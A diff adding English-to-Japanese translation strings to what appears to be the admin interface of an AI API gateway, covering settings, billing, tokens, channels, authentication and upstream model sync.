+    "Select models to process. Unselected \"add\" models will be ignored.": "処理するモデルを選択してください。未選択の「追加」モデルは無視されます。",
+    "Select models to run batch tests.": "バッチテストを実行するモデルを選択してください。",
+    "Select or enter color value": "色の値を選択または入力",
+    "Select or enter model name": "モデル名を選択または入力",
+    "Select or enter payment type": "支払いタイプを選択または入力",
+    "Select payment method": "お支払い方法を選択",
+    "Select preset or enter custom CSS color value.": "プリセットを選択するか、カスタムCSSカラー値を入力してください。",
+    "Select publish date": "公開日を選択",
+    "Select requirement": "要件を選択",
+    "Select row": "行を選択",
+    "Select sidebar style": "サイドバースタイルを選択",
+    "Select site direction": "サイトの方向を選択",
+    "Select start time": "開始時間を選択",
+    "Select subscription plan": "サブスクリプションプランを選択",
+    "Select Sync Channels": "同期チャネルを選択",
+    "Select sync channels to compare prices": "価格比較のために同期チャンネルを選択してください",
+    "Select sync channels to compare ratios": "比率を比較するために同期チャネルを選択",
+    "Select Sync Source": "同期元を選択",
+    "Select the API endpoint region": "APIエンドポイントのリージョンを選択",
+    "Select the fields you want to overwrite with upstream data. Unselected fields keep their local values.": "アップストリームデータで上書きしたいフィールドを選択してください。選択されていないフィールドはローカル値を保持します。",
+    "Select theme preference": "テーマの好みを選択",
+    "Select time granularity": "時間の粒度を選択",
+    "Select vendor": "ベンダーを選択",
+    "Selectable groups": "選択可能なグループ",
+    "selected": "選択済み",
+    "selected channel(s). Leave empty to remove tag.": "選択されたチャンネル。タグを削除するには空のままにしてください。",
+    "Selected conflicts were overwritten successfully.": "選択した競合が正常に上書きされました。",
+    "Self-Use Mode": "セルフユースモード",
+    "Send": "送信",
+    "Send code": "コードを送信",
+    "Send email alerts when a user falls below this quota": "ユーザーがこのクォータを下回ったときにメールアラートを送信",
+    "Sending...": "送信中...",
+    "Sensitive Words": "機密語",
+    "Sent the API key to FluentRead.": "API キーを FluentRead に送信しました。",
+    "Serve multiple users or teams with billing and quota control.": "課金とクォータ管理で複数のユーザーやチームにサービスを提供します。",
+    "Server Address": "サーバーURL",
+    "Server IP": "サーバー IP",
+    "Server Log Management": "サーバーログ管理",
+    "Server logging is not enabled (log directory not configured)": "サーバーログが有効になっていません（ログディレクトリが未設定）",
+    "Server Token": "サーバートークン",
+    "Service account JSON file(s)": "サービスアカウントJSONファイル",
+    "Session expired!": "セッションが期限切れです！",
+    "Session expired?": "セッションが期限切れになりましたか？",
+    "Set": "設定",
+    "Set a discount rate for a specific recharge amount threshold.": "特定のチャージ金額のしきい値に対して割引率を設定します。",
+    "Set a secure password (min. 8 characters)": "安全なパスワードを設定してください (最低8文字)",
+    "Set a tag for": "のタグを設定",
+    "Set filters to customize your dashboard statistics and charts.": "ダッシュボードの統計とグラフをカスタマイズするためにフィルターを設定します。",
+    "Set filters to narrow down your log search results.": "ログ検索結果を絞り込むためにフィルターを設定します。",
+    "Set API key access restrictions": "API キーのアクセス制限を設定",
+    "Set API key basic information": "API キーの基本情報を設定",
+    "Set Header": "ヘッダーを設定",
+    "Set Project to io.cloud when creating/selecting key": "キーを作成/選択する際にプロジェクトを io.cloud に設定",
+    "Set quota amount and limits": "クォータ量と制限を設定",
+    "Set Tag": "タグを設定",
+    "Set tag for selected channels": "選択したチャネルにタグを設定",
+    "Set the user's role (cannot be Root)": "ユーザーのロールを設定します（Rootにはできません）",
+    "Setting saved": "設定が保存されました",
+    "Setting up 2FA...": "2FAを設定中...",
+    "Setting updated successfully": "設定が正常に更新されました",
+    "Settings": "設定",
+    "Settings & Preferences": "設定と環境設定",
+    "Settings updated successfully": "設定が正常に更新されました",
+    "Setup Instructions": "セットアップ手順",
+    "Setup Two-Factor Authentication": "2要素認証を設定",
+    "Share your link and earn rewards": "リンクを共有して報酬を獲得",
+    "Shared configuration for all payment gateways": "すべての決済ゲートウェイの共有設定",
+    "Shorten": "短縮",
+    "Show": "表示",
+    "Show All": "すべて表示",
+    "Show all providers including unbound": "未バインドを含むすべてのプロバイダーを表示",
+    "Show only bound providers": "バインド済みのプロバイダーのみ表示",
+    "Show prices in currency instead of quota.": "クォータではなく通貨で価格を表示。",
+    "Show token usage statistics in the UI": "UIでトークン使用統計を表示",
+    "Showcase core capabilities with demo credentials and limited access.": "デモ用の認証情報と制限付きアクセスでコア機能を紹介します。",
+    "Showing": "表示",
+    "showing •": "表示中 •",
+    "Sidebar": "サイドバー",
+    "Sidebar collapsed by default for new users": "新規ユーザー向けにサイドバーをデフォルトで折りたたむ",
+    "Sidebar modules": "サイドバーモジュール",
+    "Sidebar Personal Settings": "サイドバー個人設定",
+    "Sign in": "ログイン",
+    "Sign In": "ログイン",
+    "Sign in with Passkey": "Passkeyでログイン",
+    "Sign out": "ログアウト",
+    "Sign up": "サインアップ",
+    "Signed in": "サインインしました",
+    "Signed in successfully!": "サインインに成功しました！",
+    "Signed in via WeChat": "WeChat経由でサインインしました",
+    "Signed in with Passkey": "パスキーでサインインしました",
+    "Signed out": "サインアウトしました",
+    "Signing you in with {{provider}}": "{{provider}} でサインイン中",
+    "SiliconFlow": "SiliconFlow",
+    "Single Key": "単一キー",
+    "Site Key": "サイトキー",
+    "Size:": "サイズ:",
+    "sk_xxx or rk_xxx": "sk_xxx または rk_xxx",
+    "Skip retry on failure": "失敗時にリトライしない",
+    "Skip to Main": "メインコンテンツへスキップ",
+    "Slug": "スラッグ",
+    "Slug can only contain letters, numbers, hyphens, and underscores": "スラッグには英数字、ハイフン、アンダースコアのみ使用できます",
+    "Slug is required": "スラッグは必須です",
+    "Slug must be less than 100 characters": "スラッグは100文字以内にしてください",
+    "Smallest USD amount users can recharge (Epay)": "ユーザーがチャージできる最小USD金額 (Epay)",
+    "SMTP Email": "SMTPメール",
+    "SMTP Host": "SMTPホスト",
+    "smtp.example.com": "smtp.example.com",
+    "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+    "Soft Errors": "ソフトエラー",
+    "Some channels failed: {{errorMsg}}": "一部のチャネルが失敗しました：{{errorMsg}}",
+    "Something went wrong!": "問題が発生しました！",
+    "Sonnet Model": "Sonnet モデル",
+    "Sora": "Sora",
+    "Sort": "並べ替え",
+    "Sort by ID": "IDでソート",
+    "Sort Order": "並び順",
+    "Source": "ソース",
+    "sources": "ソース",
+    "Space-separated OAuth scopes": "スペース区切りのOAuthスコープ",
+    "Spark model version, e.g., v2.1 (version number in API URL)": "Sparkモデルバージョン（例：v2.1、API URLのバージョン番号）",
+    "Special usable group rules": "特別な使用可能グループルール",
+    "SQLite stores all data in a single file. Make sure that file is persisted when running in containers.": "SQLite はすべてのデータを単一ファイルに保存します。コンテナで実行する場合は、ファイルが永続化されていることを確認してください。",
+    "SSRF Protection": "SSRF保護",
+    "Standard": "標準",
+    "Start": "開始",
+    "Start a conversation to see messages here": "会話を開始すると、ここにメッセージが表示されます",
+    "Start for free with generous limits. No credit card required.": "豊富な無料枠で始められます。クレジットカードは不要です。",
+    "Start Time": "開始時間",
+    "Static page describing the platform.": "プラットフォームを説明する静的ページ。",
+    "Statistical count": "統計数",
+    "Statistical quota": "統計クォータ",
+    "Statistical tokens": "統計トークン",
+    "Statistics reset": "統計をリセットしました",
+    "Status": "ステータス",
+    "Status & Sync": "ステータスと同期",
+    "Status Code Mapping": "ステータスコードマッピング",
+    "Status Page Slug": "ステータスページスラッグ",
+    "Status:": "ステータス：",
+    "Stay": "残る",
+    "Stay tuned though!": "引き続きご期待ください！",
+    "Step": "ステップ",
+    "Stop": "停止",
+    "Store ID": "ストア ID",
+    "Store ID is required": "ストア ID は必須です",
+    "Stored value is not echoed back for security": "セキュリティのため、保存済みの値は表示されません",
+    "stream": "ストリーム",
+    "Stream": "ストリーム",
+    "Stream Mode": "ストリーミングモード",
+    "Stream Status": "ストリーム状態",
+    "Stripe": "Stripe",
+    "Stripe API key (leave blank unless updating)": "Stripe APIキー（更新する場合を除き空白のままにしてください）",
+    "Stripe Dashboard": "Stripeダッシュボード",
+    "Stripe Gateway": "Stripeゲートウェイ",
+    "Stripe product price ID": "Stripe製品価格ID",
+    "Stripe/Creem requires creating products on the third-party platform and entering the ID": "Stripe/Creem はサードパーティプラットフォームで商品を作成し、IDを入力する必要があります",
+    "Submit": "送信",
+    "Submit directly": "直接送信",
+    "Submit Result": "結果を送信",
+    "Submit Time": "送信時刻",
+    "Submitted": "送信済み",
+    "Submitting": "送信中",
+    "Submitting...": "送信中...",
+    "Submodel": "Submodel",
+    "Subscribe Now": "今すぐ購読",
+    "Subscription": "サブスクリプション",
+    "Subscription Billing": "サブスクリプション課金",
+    "Subscription First": "サブスクリプション優先",
+    "Subscription Management": "サブスクリプション管理",
+    "Subscription Only": "サブスクリプションのみ",
+    "Subscription Plans": "サブスクリプションプラン",
+    "Subtract": "減算",
+    "Success": "成功",
+    "Successfully created {{count}} API Key(s)": "{{count}}個のAPIキーが正常に作成されました",
+    "Successfully created {{count}} redemption codes": "{{count}}件の引き換えコードが正常に作成されました",
+    "Successfully deleted {{count}} API key(s)": "{{count}}個のAPIキーが正常に削除されました",
+    "Successfully deleted {{count}} invalid redemption codes": "{{count}} 件の無効な引き換えコードを削除しました",
+    "Successfully deleted {{count}} model(s)": "{{count}} 個のモデルを削除しました",
+    "Successfully disabled {{count}} model(s)": "{{count}} 個のモデルを無効にしました",
+    "Successfully enabled {{count}} model(s)": "{{count}} 個のモデルを有効にしました",
+    "Suffix": "サフィックス",
+    "Suffix Match": "サフィックス一致",
+    "SunoAPI": "SunoAPI",
+    "Super Admin": "スーパー管理者",
+    "Support for high concurrency with automatic load balancing": "自動ロードバランシングによる高並行性のサポート",
+    "Supported Imagine Models": "対応Imagineモデル",
+    "Supports `-thinking`, `-thinking-": "「-thinking」、「-thinking-」をサポートします",
+    "Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.": "HTMLマークアップまたはiframe埋め込みをサポートします。HTMLコードを直接入力するか、完全なURLを提供してiframeとして自動的に埋め込みます。",
+    "Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.": "PNG、JPG、SVG、WebPに対応。推奨サイズ: 128×128以下。",
+    "Swap Face": "顔入れ替え",
+    "Switch affinity on success": "成功時にアフィニティを切替",
+    "Switch between the new frontend and the classic frontend. Changes take effect after page reload.": "新フロントエンドとクラシックフロントエンドを切り替えます。保存後、ページを再読み込みすると反映されます。",
+    "Switch to JSON": "JSONに切り替え",
+    "Switch to Visual": "ビジュアルに切り替え",
+    "Sync Endpoint": "同期エンドポイント",
+    "Sync Fields": "フィールドを同期",
+    "Sync from the public upstream metadata repository.": "公開上流メタデータリポジトリから同期します。",
+    "Sync this model with official upstream": "このモデルを公式アップストリームと同期",
+    "Sync Upstream": "アップストリームを同期",
+    "Sync Upstream Models": "アップストリームモデルを同期",
+    "Synchronize models and vendors from an upstream source": "アップストリームソースからモデルとベンダーを同期",
+    "Syncing prices, please wait...": "価格を同期中、しばらくお待ちください...",
+    "System": "システム",
+    "System Administration": "システム管理",
+    "System Announcements": "システムのお知らせ",
+    "System Behavior": "システムの動作",
+    "System data statistics": "システムデータ統計",
+    "System Information": "システム情報",
+    "System initialized successfully! Redirecting…": "システムが正常に初期化されました！リダイレクト中…",
+    "System logo": "システムロゴ",
+    "System maintenance": "システムメンテナンス",
+    "System Memory": "システムメモリ",
+    "System Memory Stats": "システムメモリ統計",
+    "System Name": "システム名称",
+    "System name is required": "システム名は必須です",
+    "System Notice": "システムからのお知らせ",
+    "System Performance Monitoring": "システムパフォーマンス監視",
+    "System Prompt": "システムプロンプト",
+    "System Prompt Concatenation": "システムプロンプトの連結",
+    "System Prompt Override": "システムプロンプト上書き",
+    "System settings": "システム設定",
+    "System Settings": "システム設定",
+    "System setup wizard": "システムセットアップウィザード",
+    "System task records": "システムタスク記録",
+    "System Version": "システムバージョン",
+    "Table view": "テーブル表示",
+    "Tag": "タグ",
+    "Tag Aggregate": "タグ集計",
+    "Tag Mode": "タグモード",
+    "Tag Name": "タグ名",
+    "Tag set successfully": "タグが正常に設定されました",
+    "Tag updated successfully": "タグが正常に更新されました",
+    "Tag:": "タグ:",
+    "Tags": "タグ",
+    "Take photo": "写真を撮る",
+    "Take screenshot": "スクリーンショットを撮る",
+    "Target group": "ターゲットグループ",
+    "Task": "タスク",
+    "Task ID": "タスクID",
+    "Task ID:": "タスクID：",
+    "Task logs": "タスクログ",
+    "Task Logs": "タスク履歴",
+    "Team Collaboration": "チームコラボレーション",
+    "Technical Support": "テクニカルサポート",
+    "Telegram": "Telegram",
+    "Telegram login requires widget integration; coming soon": "Telegramログインにはウィジェット統合が必要です；近日公開",
+    "Telegram Login Widget": "Telegramログインウィジェット",
+    "Template variables:": "テンプレート変数:",
+    "Templates": "テンプレート",
+    "Templates appended": "テンプレートが追加されました",
+    "Tencent": "テンセント",
+    "Termination requested": "終了リクエスト済み",
+    "Test All Channels": "すべてのチャネルをテスト",
+    "Test Channel Connection": "チャネル接続をテスト",
+    "Test Connection": "接続をテスト",
+    "Test connectivity for:": "接続性をテスト:",
+    "Test interval (minutes)": "テスト間隔（分）",
+    "Test Latency": "レイテンシをテスト",
+    "Test Mode": "テストモード",
+    "Test Model": "モデルをテスト",
+    "Testing all enabled channels started. Please refresh to see results.": "有効な全チャネルのテストを開始しました。結果を確認するにはページを更新してください。",
+    "Testing...": "テスト中...",
+    "Text Input": "テキスト入力",
+    "Text Output": "テキスト出力",
+    "Text to Video": "テキストから動画",
+    "The administrator account is already initialized. You can keep your existing credentials and continue to the next step.": "管理者アカウントはすでに初期化されています。既存の認証情報を保持して、次のステップに進むことができます。",
+    "The administrator configured an external link for this document.": "管理者がこのドキュメントの外部リンクを設定しました。",
+    "The administrator has not configured a privacy policy yet.": "管理者がまだプライバシーポリシーを設定していません。",
+    "The administrator has not configured a user agreement yet.": "管理者がまだ利用規約を設定していません。",
+    "The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.": "管理者はまだ「概要」コンテンツを設定していません。設定ページでHTMLまたはURLをサポートして設定できます。",
+    "The binding will complete automatically after authorization": "認証後、バインディングは自動的に完了します",
+    "The effective domain for Passkey registration. Must match the current domain or be its parent domain.": "Passkey登録のための有効なドメイン。現在のドメインまたはその親ドメインと一致する必要があります。",
+    "The exact model identifier as used in API requests.": "APIリクエストで使用される正確なモデル識別子。",
+    "The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.": "以下のモデルには請求タイプ（固定価格 vs 比率請求）の競合があります。変更を続行するには確認してください。",
+    "The following models in the model redirect have not been added to the \"Models\" list and may fail during invocation due to missing available models:": "モデルリダイレクト内の以下のモデルは\"モデル\"リストに追加されていないため、利用可能なモデルが不足して呼び出しが失敗する可能性があります：",
+    "The mapped upstream model(s)": "マッピングされたアップストリームモデル",
+    "The model you're looking for doesn't exist.": "お探しのモデルは存在しません。",
+    "The name displayed across the application": "アプリケーション全体に表示される名前",
+    "The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations": "OAuthコールバック、Webhook、その他の外部統合に使用されるサーバーの公開URL",
+    "The requested chat preset does not exist or has been removed.": "要求されたチャットプリセットは存在しないか、削除されました。",
+    "The setup wizard will use this database during initialization.": "セットアップウィザードは初期化時にこのデータベースを使用します。",
+    "The site is not available at the moment.": "現在、このサイトは利用できません。",
+    "The slug is appended to the URL:": "スラッグがURLに追加されます:",
+    "The sync will fetch missing models and vendors from the selected source. Existing records are updated only when you approve conflicts.": "同期により、選択されたソースから不足しているモデルとベンダーが取得されます。既存のレコードは、競合を承認した場合にのみ更新されます。",
+    "The token group that will have a custom ratio": "カスタム比率を持つトークングループ",
+    "The unique identifier for this model": "このモデルの一意の識別子",
+    "The unique name for this vendor": "このベンダーの一意の名前",
+    "The URL for this chat client.": "このチャットクライアントのURL。",
+    "Theme": "テーマ",
+    "Theme Settings": "テーマ設定",
+    "There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?": "追加と削除の両方のモデルが保留中ですが、一方のタイプのみ選択されています。選択した項目のみ送信してよろしいですか？",
+    "These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.": "これらはまだ選択中ですが上流のリストにありません。model_mapping にのみソース別名として載る名前は除外されています。保存前に選択を調整してください。",
+    "These toggles affect whether certain request fields are passed through to the upstream provider.": "これらの切り替えは、特定の要求フィールドがアップストリームプロバイダーに渡されるかどうかに影響します。",
+    "Thinking Adapter": "思考アダプター",
+    "Thinking to Content": "思考からコンテンツへ",
+    "Third-party account bindings (read-only, managed by user in profile settings)": "サードパーティアカウントのバインディング（読み取り専用、プロファイル設定でユーザーが管理）",
+    "Third-party Payment Config": "サードパーティ決済設定",
+    "This action cannot be undone.": "この操作は元に戻せません。",
+    "This action cannot be undone. This will permanently delete your account and remove all your data from our servers.": "この操作は元に戻せません。これにより、あなたのアカウントは完全に削除され、すべてのデータがサーバーから削除されます。",
+    "This action will permanently remove 2FA protection from your account.": "この操作により、アカウントから2FA保護が完全に削除されます。",
+    "This channel is not an Ollama channel.": "このチャンネルはOllamaチャンネルではありません。",
+    "This channel type does not support fetching models": "このチャンネルタイプはモデルの取得をサポートしていません",
+    "This data may be unreliable, use with caution": "このデータは信頼できない可能性があります。注意して使用してください",
+    "This device does not support Passkey": "このデバイスはPasskeyをサポートしていません",
+    "This device does not support Passkey verification.": "このデバイスはPasskey認証をサポートしていません。",
+    "This expression is too complex for the visual editor. Please switch to expression mode to edit.": "この式はビジュアルエディタでは扱いにくいです。式モードに切り替えて編集してください。",
+    "This feature is experimental. Configuration format and behavior may change.": "この機能は実験的です。設定フォーマットや動作は変更される可能性があります。",
+    "This feature requires server-side WeChat configuration": "この機能にはサーバー側のWeChat設定が必要です",
+    "This may cause cache failures.": "これによりキャッシュ障害が発生する可能性があります。",
+    "This may take a few moments while we validate the request and update your session.": "リクエストを検証し、セッションを更新するのに数分かかる場合があります。",
+    "This model has both fixed price and ratio billing conflicts": "このモデルには固定価格と比率請求の両方の競合があります",
+    "This model is not available in any group, or no group pricing information is configured.": "このモデルはどのグループでも利用できないか、グループの料金情報が設定されていません。",
+    "This month": "今月",
+    "This page has not been created yet.": "このページはまだ作成されていません。",
+    "This project must be used in compliance with the": "このプロジェクトは、以下を遵守して使用する必要があります",
+    "This record was written by a pre-upgrade instance and lacks audit info. Upgrade the instance to record server IP, callback IP, payment method and system version.": "古いバージョンのインスタンスがこの記録を書き込み、監査情報がありません。最新に更新し、サーバーIP・コールバックIP・支払方法・OSバージョンの記録を有効にしてください。",
+    "this token group": "このトークングループ",
+    "this user group": "このユーザーグループ",
+    "This user has no bindings": "このユーザーには連携がありません",
+    "This week": "今週",
+    "This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.": "既存のルールリストに2つのテンプレートルール（Codex CLIとClaude CLI）を追加します。",
+    "This will clear custom pricing ratios and revert to upstream defaults.": "これにより、カスタム料金比率がクリアされ、上位のデフォルトに戻ります。",
+    "This will delete all": "これによりすべて削除されます",
+    "This will delete all channel affinity cache entries still in memory.": "メモリ内のすべてのチャネルアフィニティキャッシュエントリが削除されます。",
+    "This will delete temporary cache files that have not been used for more than 10 minutes": "10分以上使用されていない一時キャッシュファイルが削除されます",
+    "This will extend the deployment by the specified hours.": "これにより、デプロイメントを指定された時間分延長します。",
+    "This will permanently delete API key": "これによりAPIキーが完全に削除されます",
+    "This will permanently delete redemption code": "これにより引き換えコードが完全に削除されます",
+    "This will permanently delete user": "これによりユーザーが完全に削除されます",
+    "This will permanently remove all log entries created before {{date}}.": "{{date}} より前に作成されたすべてのログエントリが完全に削除されます。",
+    "This will permanently remove log entries before the selected timestamp.": "選択したタイムスタンプより前のログエントリが完全に削除されます。",
+    "Three steps to get started": "3ステップで始める",
+    "Tier": "ティア",
+    "Tier name": "ティア名",
+    "Tiered": "段階的",
+    "Tiered (billing expression)": "段階的（課金式）",
+    "Tiered price table": "段階別価格表",
+    "Time": "時間",
+    "Time Granularity": "時間の粒度",
+    "Time remaining": "残り時間",
+    "Time window for rate limiting": "レート制限の時間枠",
+    "Time-based": "時間条件あり",
+    "Time:": "時間：",
+    "Timed cache (1h)": "有効期限付きキャッシュ（1h）",
+    "Timeline": "タイムライン",
+    "times": "回",
+    "Timing": "所要時間",
+    "Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.": "ヒント：生成されたキーは access_token / refresh_token / account_id を含むJSON認証情報です。",
+    "to access this resource.": "このリソースにアクセスするには。",
+    "to confirm": "確認する",
+    "To Lower": "小文字に変換",
+    "to override billing when a user in one group uses a token of another group.": "あるグループのユーザーが別のグループのトークンを使用する場合に、請求を上書きするため。",
+    "to the Models list so users can use them before the mapping sends traffic upstream.": "マッピングがトラフィックをアップストリームに送信する前にユーザーが使用できるように、モデルリストに追加します。",
+    "To Upper": "大文字に変換",
+    "to view this resource.": "このリソースを表示するには。",
+    "Today": "今日",
+    "Toggle columns": "列の切り替え",
+    "Toggle navigation menu": "ナビゲーションメニューの切り替え",
+    "Toggle plan": "プランの切り替え",
+    "Toggle theme": "テーマの切り替え",
+    "Token": "トークン",
+    "Token Breakdown": "トークン内訳",
+    "Token Endpoint": "トークンエンドポイント",
+    "Token Endpoint (Optional)": "トークンエンドポイント (オプション)",
+    "Token estimator": "トークン見積り",
+    "Token management": "トークン管理",
+    "Token Management": "トークン管理",
+    "Token Mgmt": "トークン管理",
+    "Token Name": "トークン名",
+    "Token obtained from your Gotify application": "Gotifyアプリケーションから取得したトークン",
+    "Token regenerated and copied to clipboard": "トークンが再生成され、クリップボードにコピーされました",
+    "Token unit": "トークン単位",
+    "Token-based": "トークンベース",
+    "tokens": "トークン",
+    "Tokens": "トークン",
+    "Tokens Only": "トークンのみ",
+    "Tokens per minute": "1分あたりのトークン",
+    "Tokens-only mode will show raw quota values regardless of this toggle.": "トークンのみモードでは、このトグルに関係なく生のクォータ値が表示されます。",
+    "Too many files. Some were not added.": "ファイルが多すぎます。一部は追加されませんでした。",
+    "Tool identifier": "ツールID",
+    "Tool price settings": "ツール価格設定",
+    "Tool prices": "ツール価格",
+    "Top {{count}}": "上位 {{count}}",
+    "Top Models": "トップモデル",
+    "Top Users": "上位ユーザー",
+    "Top up balance and view billing history.": "残高をチャージし、請求履歴を確認。",
+    "Top-up": "チャージ",
+    "Top-up amount options": "トップアップ金額オプション",
+    "Top-up Audit Info": "入金の監査情報",
+    "Top-up group ratios": "トップアップグループ比率",
+    "Top-Up Link": "チャージリンク",
+    "top-up ratio": "チャージ倍率",
+    "Topup Amount": "チャージ額",
+    "Total": "合計",
+    "Total Allocated": "総割り当て",
+    "Total check-ins": "総チェックイン数",
+    "Total consumed": "合計消費量",
+    "Total consumed quota": "合計消費クォータ",
+    "Total cost": "総費用",
+    "Total Cost": "総コスト",
+    "Total Count": "合計数",
+    "Total earned": "总收入",
+    "Total Earned": "総収益",
+    "Total GPUs": "合計 GPU",
+    "Total invitation revenue": "招待による総収益",
+    "Total Log Size": "ログ合計サイズ",
+    "Total Quota": "合計クォータ",
+    "Total requests allowed per period. 0 = unlimited.": "期間ごとに許可されるリクエストの総数。0 = 無制限。",
+    "Total requests made": "合計リクエスト数",
+    "Total Tokens": "合計トークン",
+    "Total Usage": "総使用量",
+    "Total:": "合計:",
+    "TPM": "TPM",
+    "Track per-request consumption to power usage analytics. Keeping this on increases database writes.": "リクエストごとの消費を追跡し、使用状況分析に利用します。これをオンにすると、データベースへの書き込みが増加します。",
+    "Track usage, costs and performance with real-time analytics": "リアルタイム分析で使用量、コスト、パフォーマンスを追跡",
+    "Tracks current account base limits and additional metered usage on Codex upstream.": "Codex 上でのアカウント基礎枠と追加従量の利用量を表示します。",
+    "Transfer": "振替",
+    "Transfer Amount": "振替金額",
+    "Transfer failed": "転送に失敗しました",
+    "Transfer Rewards": "報酬の振替",
+    "Transfer successful": "転送が成功しました",
+    "Transfer to Balance": "残高への振替",
+    "Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.": "`-thinking` サフィックスをAnthropicネイティブの思考モデルに変換し、価格設定を予測可能に保ちます。",
+    "Transparent Billing": "透明性のある請求",
+    "Trim Prefix": "プレフィックスを削除",
+    "Trim Space": "空白を削除",
+    "Trim Suffix": "サフィックスを削除",
+    "Trusted": "信頼済み",
+    "Try adjusting your search to locate a missing model.": "見つからないモデルを見つけるには、検索を調整してみてください。",
+    "TTL": "TTL",
+    "TTL (seconds, 0 = default)": "TTL（秒、0 = デフォルト）",
+    "TTL (seconds)": "TTL（秒）",
+    "Turnstile is enabled but site key is empty.": "Turnstile が有効ですが、サイトキーが空です。",
+    "Two-factor Authentication": "2要素認証",
+    "Two-Factor Authentication": "2要素認証",
+    "Two-factor authentication disabled": "二要素認証が無効になりました",
+    "Two-factor authentication enabled successfully!": "二要素認証が正常に有効化されました！",
+    "Two-factor authentication reset": "二要素認証がリセットされました",
+    "Two-Step Verification": "2段階認証",
+    "Type": "タイプ",
+    "Type *": "タイプ *",
+    "Type a command or search...": "コマンドまたは検索を入力...",
+    "Type-Specific Settings": "タイプ固有の設定",
+    "Type:": "タイプ:",
+    "UI granularity only &mdash; data is still aggregated hourly": "UIの粒度のみ &mdash; データは引き続き時間単位で集計されます",
+    "Unable to estimate price for this deployment.": "このデプロイメントの価格を推定できません。",
+    "Unable to generate chat link. Please contact your administrator.": "チャットリンクを生成できません。管理者にご連絡ください。",
+    "Unable to load groups": "グループをロードできません",
+    "Unable to open chat": "チャットを開けません",
+    "Unable to prepare chat link. Please ensure you have an enabled API key.": "チャットリンクを準備できません。有効な API キーが設定されていることを確認してください。",
+    "Unauthorized Access": "不正アクセス",
+    "Unbind": "連携解除",
+    "Unbind failed": "連携解除に失敗しました",
+    "Unbound {{provider}}": "{{provider}}の連携を解除しました",
+    "Unexpected release payload": "予期しないリリースデータ",
+    "Unified API Gateway for": "統合APIゲートウェイ -",
+    "Unique identifier for this group.": "このグループの一意の識別子。",
+    "Unit price (local currency / USD)": "単価 (現地通貨 / USD)",
+    "Unit price (USD)": "単価 (USD)",
+    "Unit price must be greater than 0": "単価は 0 より大きい必要があります",
+    "Units per USD": "USDあたりのユニット数",
+    "Unknown": "不明",
+    "Unknown version": "不明なバージョン",
+    "Unlimited": "無制限",
+    "Unlimited Quota": "無制限のクォータ",
+    "Unsaved changes": "未保存の変更",
+    "Until": "まで",
+    "Untitled": "無題",
+    "Untrusted upstream data:": "信頼されていないアップストリームデータ:",
+    "Unused": "未使用",
+    "Update": "更新",
+    "Update All Balances": "すべての残高を更新",
+    "Update API Key": "API キーを更新",
+    "Update Balance": "残高を更新",
+    "Update balance for:": "残高を更新:",
+    "Update Channel": "チャネルを更新",
+    "Update channel configuration and click save when you're done.": "チャネル設定を更新し、完了したら保存をクリックしてください。",
+    "Update configuration": "設定を更新",
+    "Update failed": "更新に失敗しました",
+    "Update Model": "モデルを更新",
+    "Update model configuration and click save when you're done.": "モデル設定を更新し、完了したら保存をクリックしてください。",
+    "Update plan info": "プラン情報を更新",
+    "Update Provider": "プロバイダーを更新",
+    "Update Redemption Code": "引き換えコードを更新",
+    "Update succeeded": "更新に成功しました",
+    "Update the API key by providing necessary info.": "必要な情報を提供して API キーを更新してください。",
+    "Update the configuration for this custom OAuth provider.": "このカスタムOAuthプロバイダーの設定を更新します。",
+    "Update the redemption code by providing necessary info.": "必要な情報を提供して、引き換えコードを更新してください。",
+    "Update the reusable bundle below.": "以下の再利用可能なバンドルを更新してください。",
+    "Update the user by providing necessary info.": "必要な情報を提供してユーザーを更新します。",
+    "Update vendor information for {{name}}": "{{name}} のベンダー情報を更新",
+    "Update your password for account:": "アカウントのパスワードを更新:",
+    "Update your password to keep your account secure": "アカウントを安全に保つためにパスワードを更新してください",
+    "Updated": "更新されました",
+    "Updated successfully": "正常に更新されました",
+    "Updating all channel balances. This may take a while. Please refresh to see results.": "すべてのチャネル残高を更新中です。これには少し時間がかかる場合があります。結果を確認するには更新してください。",
+    "Upgrade Group": "グループをアップグレード",
+    "Upload": "アップロード",
+    "Upload a single service account JSON file": "単一のサービスアカウントJSONファイルをアップロードする",
+    "Upload file": "ファイルをアップロード",
+    "Upload files": "ファイルをアップロード",
+    "Upload multiple JSON files in batch modes": "バッチモードで複数のJSONファイルをアップロードする",
+    "Upload or reference a local configuration file.": "ローカルの構成ファイルをアップロードまたは参照してください。",
+    "Upload photo": "写真をアップロード",
+    "Upscale": "アップスケール",
+    "Upstream": "アップストリーム",
+    "Upstream Model Update Check": "アップストリームモデル更新チェック",
+    "Upstream Model Updates": "上流モデルの更新",
+    "Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models": "上流モデル更新を処理しました：{{added}} 個追加、{{removed}} 個削除、今回 {{ignored}} 個無視、合計 {{totalIgnored}} 個の無視モデル",
+    "Upstream price sync": "アップストリーム価格同期",
+    "Upstream prices fetched successfully": "上流価格を正常に取得しました",
+    "Upstream ratios fetched successfully": "アップストリーム比率が正常に取得されました",
+    "Upstream Response": "アップストリームレスポンス",
+    "Upstream Updates": "アップストリーム更新",
+    "uptime": "稼働時間",
+    "Uptime": "稼働時間",
+    "Uptime Kuma": "稼働時間Kuma",
+    "Uptime Kuma groups saved successfully": "Uptime Kuma グループが正常に保存されました",
+    "Uptime Kuma URL": "稼働時間KUMA URL",
+    "Uptime since": "稼働開始日時",
+    "URL": "URL",
+    "URL is required": "URL は必須です",
+    "URL to your logo image (optional)": "ロゴ画像のURL (オプション)",
+    "Usage": "使用量",
+    "Usage logs": "使用ログ",
+    "Usage Logs": "利用履歴",
+    "Usage mode": "利用モード",
+    "Usage-based": "使用量ベース",
+    "USD": "USD",
+    "USD Exchange Rate": "USD 為替レート",
